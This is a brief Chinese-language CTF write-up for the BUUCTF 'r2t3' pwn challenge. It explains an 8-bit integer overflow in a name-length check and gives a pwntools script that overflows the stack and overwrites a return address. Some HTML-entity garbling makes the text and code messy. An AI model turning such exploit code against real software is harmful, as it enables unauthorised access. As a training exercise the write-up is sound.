buuojBJDCTF2ndr2t3

buf定义长度为0x400。而buf的长度为0x408

所以不存在溢出。

可见name_check函数存在安全漏洞&＃xff0c;但是要绕过长度限制。unsigned __int8 v3定义的数据类型实际为unsigned char。仅有1个字节&＃xff0c;超过1个字节数据丢弃&＃xff0c;也就是最大数值为0xff &＃xff0c;也就是0x100&＃61;256&＃61;0&＃xff0c;那么可以用0x104至0x107来满足上面的条件。即为传说中的整形溢出。

from pwn import*p &＃61; process(&＃39;./r2t3&＃39;)p.recvuntil(&＃39; name:\n&＃39;)payload &＃61; &＃39;a&＃39;*0x15 &＃43; p32(0x0804858B) &＃43; &＃39;a&＃39;*(0x104 - 0x15 -0x4)p.sendline(payload)p.interactive()